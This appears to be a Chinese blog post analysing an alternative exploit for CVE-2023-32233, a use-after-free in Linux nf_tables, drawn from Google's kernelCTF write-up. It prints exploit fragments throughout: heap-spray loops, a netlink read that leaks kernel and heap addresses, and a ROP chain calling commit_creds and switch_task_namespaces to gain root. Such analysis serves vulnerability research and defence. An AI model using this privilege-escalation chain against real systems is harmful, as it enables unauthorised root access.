这是对前文的补充,增加一种漏洞利用方案的分析,前文地址:

https://www.cnblogs.com/hac425/p/17967844/cve202332233-vulnerability-analysis-and-utilization-qrjoh

前文的漏洞利用的策略是通过占位 set 让 ext 指针错位,从而越界销毁相邻的 expr 实现任意地址读写。

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); kfree(elem);
}

本文的思路则是利用 NFT_MSG_DELSET 来使用 UAF 的 set,实现 set->name 的 double free.

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
int i;
if (WARN_ON(set->use > 0))
return; for (i = 0; i < set->num_exprs; i++)
nft_expr_destroy(ctx, set->exprs[i]); set->ops->destroy(set);
nft_set_catchall_destroy(ctx, set);
kfree(set->name); // set->name double free
kvfree(set);
} static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
case NFT_MSG_DELSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans));
break;

具体的步骤如下:

  1. 创建 匿名 set (pwn_lookup_set)
  2. 创建 rule 其中包含一个 lookup expr,该 expr 引用 pwn_lookup_set
  3. 下发 netlink 批处理请求,批处理中有两个请求:NFT_MSG_DELRULE、NFT_MSG_DELSET
  4. nft_commit_release 处理 NFT_MSG_DELRULE 删除 rule 和 lookup expr,同时会释放 pwn_lookup_set
  5. nft_commit_release 处理 NFT_MSG_DELSET 时就会引用已经释放的 pwn_lookup_set,尝试再次释放 set.

在 4-5 之间使用另一个 set (race_set)占位,内核执行完 5 后, race_set 和 race_set->name 的内存就会被释放,漏洞就转换为 race_set 的 UAF

​​​​​​

控制 race_set 的 name 长度可以获取 dyn-kmalloc-256 的 UAF,堆喷 race_set 控制 name 的代码如下

    for (int spray = 0; spray != 0x20; ++ spray) {
char *set_name;
asprintf(&set_name, "race_set_%0200hx", spray); // 分配 209 大小的 set_name
pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, 0, 0);
}

为了获取方便的内存读写能力,使用 chain->udata 占位 set->name,然后释放 set 就能实现 chain->udata 的 uaf,分配 udata 的代码如下:

static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask,
u8 policy, u32 flags,
struct netlink_ext_ack *extack)
... if (nla[NFTA_CHAIN_USERDATA]) {
chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4]
if (chain->udata == NULL) {
err = -ENOMEM;
goto err_destroy_chain;
}
chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
}

堆喷 chain->udata 占位的相关代码:

    for(int i = 0 ; i < 0x20; i++){
char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i);
pwn_create_leak_chain(batch, seq++, chain_name);
}

之后通过 NFT_MSG_GETCHAIN 就能读取 chain->udata 的数据,找一个有指针的对象占位 udata,就能泄露内核地址,这边使用的是 nft_rule 结构体:

rule 结构中的优点如下:

  • list 指针指向堆喷的相邻 rule,通过它可以泄露相邻堆块的地址,然后结合堆喷可以在相应地址上伪造数据。
  • rule 里面会内嵌 expr, expr 里面的 ops 指针保存了 KO 的地址,可以用来计算 gadget 的地址
  • rule 结构体占用的内存大小用户态可以控制

rule 占位后通过 NFT_MSG_GETCHAIN 通过 chain->udata 读出对象的数据,泄露相关地址:

        struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_batch_buffer,
NFT_MSG_GETCHAIN,
NFPROTO_INET,
NLM_F_ACK,
seq
); char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i); nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
} memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer)); mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); nft_counter_ops = *(unsigned long*) &mnl_batch_buffer[0x74];
kbase = nft_counter_ops - NFT_COUNTER_OPS;
heap_addr = *(unsigned long*) &mnl_batch_buffer[0x64];
victim_rule_handle = *(unsigned long*) &mnl_batch_buffer[0x6c] & 0xffff;

泄露出堆地址和内核代码地址后,再利用 chain->udata 来伪造 rule 结构和 nft_counter expr

最后 NFT_MSG_DELRULE 触发 expr->ops->deactivate​ 的调用进入 ROP

void make_payload_rop(uint64_t* data){
int i = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = 0; data[i++] = kbase + POP_RSI_RET; // dummy
data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate() // find_task_by_vpid(1)
data[i++] = kbase + POP_RDI_RET;
data[i++] = 1;
data[i++] = kbase + FIND_TASK_BY_VPID; // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + MOV_RDI_RAX_RET;
data[i++] = kbase + POP_RSI_RET;
data[i++] = kbase + INIT_NSPROXY;
data[i++] = kbase + SWITCH_TASK_NAMESPACES; // commit_creds(&init_cred)
data[i++] = kbase + POP_RDI_RET;
data[i++] = kbase + INIT_CRED;
data[i++] = kbase + COMMIT_CREDS; data[i++] = kbase + VFORK;
data[i++] = kbase + DELAY;
}

总结

struct rule 这种结构体中同时存在链表指针、内核镜像/ko地址 的对象是用于地址泄露非常理想的对象,可以同时泄露出堆地址和代码段地址,一般堆地址可能还可以通过内核逻辑进行占位从而控制数据,实现在内核特定地址中布置数据的功能,这个能力对于伪造内核对象来说是非常重要的功能。

对于桌面端内核漏洞 (ubuntu 有 ns 权限) 利用而言,netlink 里面的这些对象可以很方便的辅助漏洞利用。

参考

  1. https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md

CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析的更多相关文章

  1. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

  2. Google 云计算中的 GFS 体系结构

          google 公司的很多业务具有数据量巨大的特点,为此,google 公司研发了云计算技术.google 云计 算结构中的 google 文件系统是其云计算技术中的三大法宝之一.本文主要介 ...

  3. 关于Google Chorme中字体小于12px的问题

    问题:当字体大小设置成小于12px时,Google chrome中字体的大小始终显示为12px. 而其他浏览器则没有这个问题. 这时只需要在要改变字体大小的元素中添加 -webkit-transfor ...

  4. Google Chrome中的高性能网络 (三)

    使用预连接优化了TCP连接管理 已经预解析到了主机名,也有了由OmniBox和Chrome Predictor提供信号,预示着用户未来的操作.为什么再进一步连接到目标主机,在用户真正发起请求前完成TC ...

  5. 如何在google test中指定只运行一部分测试

    博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:如何在google test中指定只运行一部分测试.

  6. google chrome中如何删除一条输入网址提示

    在google chrome中网站栏输入字母的时候会出现网址的提示,如下图: 之前遇到个问题,不知道之前打错了www.baidu.com为wwww.baidu.com(也会跳转到百度)导致一输入“w” ...

  7. 如何在Google Map中处理大量标记(ASP.NET)(转)

    如何在Google Map中处理大量标记(ASP.NET)(原创-翻译) Posted on 2010-07-29 22:04 Happy Coding 阅读(8827) 评论(8) 编辑 收藏 在你 ...

  8. Google搜索中的突变XSS-JavaScript Library Introduced XSS Flaw in Google Search

    前言2018年9月26日,开源Closure库(最初由谷歌创建并用于谷歌搜索)的一名开发人员创建了一个提交,删除了部分输入过滤.据推测,这是因为开发人员在用户界面设计方面出现了问题.但此次提交的开发人 ...

  9. Excel与Google Sheets中实现线性规划求解

    很久没更新过APS系列文章了,这段时间项目工作确实非常紧,所以只能抽点时间学习一下运筹学的入门知识,算是为以后的APS项目积累点基础.看了一些运筹学的书(都是科普级别的)发现原来我目前面对的很多排产. ...

  10. Android技巧分享——如何用电脑下载在Google play中应用的apk文件

    [Android技巧分享系列] 1.Android技巧分享——让官方模拟器和genymotion虚拟机飞起来 2.Android技巧分享——如何用电脑下载在Google play中应用的apk文件 G ...

随机推荐

  1. Docker基本操作(镜像操作?容器操作?)(四)

    Docker 的基本原理我们已经了解了,也已经安装上了,接下来我们就一起来学习下 Docker 的常用操作,实际上主要就是 Docker CLI 的一些常用命令使用. 一.镜像操作 之前我们提到过 D ...

  2. Codeforces Round 977 (Div. 2)

    手速局,因为水平不够三题遗憾离场. A. Meaning Mean 题意 你一个序列,你每次可以选择两个数删掉,并把他们的平均数加入到序列的末尾.当序列长度为 \(1\) 的时候,剩下的数最大值是多少 ...

  3. Guava中的Joiner和Splitter

    目录 Guava 介绍 Joiner list转string map转string 处理嵌套集合 处理null值 Splitter string转list string转map 多个拆分符 输出 代码 ...

  4. 43.v-if和v-for的优先级

    v-for 的优先级高 延申问题:v-for 和 v-if 为什么不能在一起使用 ? 会造成性能的浪费,因为v-for 的优先级高,所以每次渲染都会执行v-if 判断条件,浪费时间 :比如 渲染 10 ...

  5. C#查漏补缺----对象内存结构与布局

    环境变量 .Net Core 8.0 Windows 11 64位 内存布局 引用类型 在.NET中,数据会按照类型分为不同的对象,对于引用类型的实例,由一个对象标头(Object Header)和方 ...

  6. 内核级流量治理引擎Kmesh八大新特性解读

    本文分享自华为云社区<内核级流量治理引擎 Kmesh v0.5 发布!进击的Sidecarless服务网格>,作者:云容器大未来. 我们非常高兴地宣布 Kmesh v0.5.0 的发布.首 ...

  7. find命令,查找文件

    find 是 Linux 中强大的搜索命令,不仅可以按照文件名搜索文件,还可以按照权限.大小.时间.inode 号等来搜索文件. [root@localhost ~]#find 搜索路径 [选项] 搜 ...

  8. feign在服务间传递header

    场景: 用户登陆后,再次访问网页,将用户信息loginToken放在request的header中,首先经过网关,然后到达A服务,然后A服务调用B服务时如何把loginToken传递给B服务 1.修改 ...

  9. KubeSphere Namespace 数据删除事故分析与解决全记录

    作者:宇轩辞白,运维研发工程师,目前专注于云原生.Kubernetes.容器.Linux.运维自动化等领域. 前言 2023 年 7 月 23 日在项目上线前夕,K8s 生产环境出现故障,经过紧急修复 ...

  10. 新东方在有状态服务 In K8s 的实践

    作者|周培,新东方架构部容器组专家 有状态服务建设一直以来都是 K8s 中非常具有挑战性的工作,新东方在有状态服务云化过程中,采用定制化 Operator 与自研本地存储服务结合的模式,增强了 K8s ...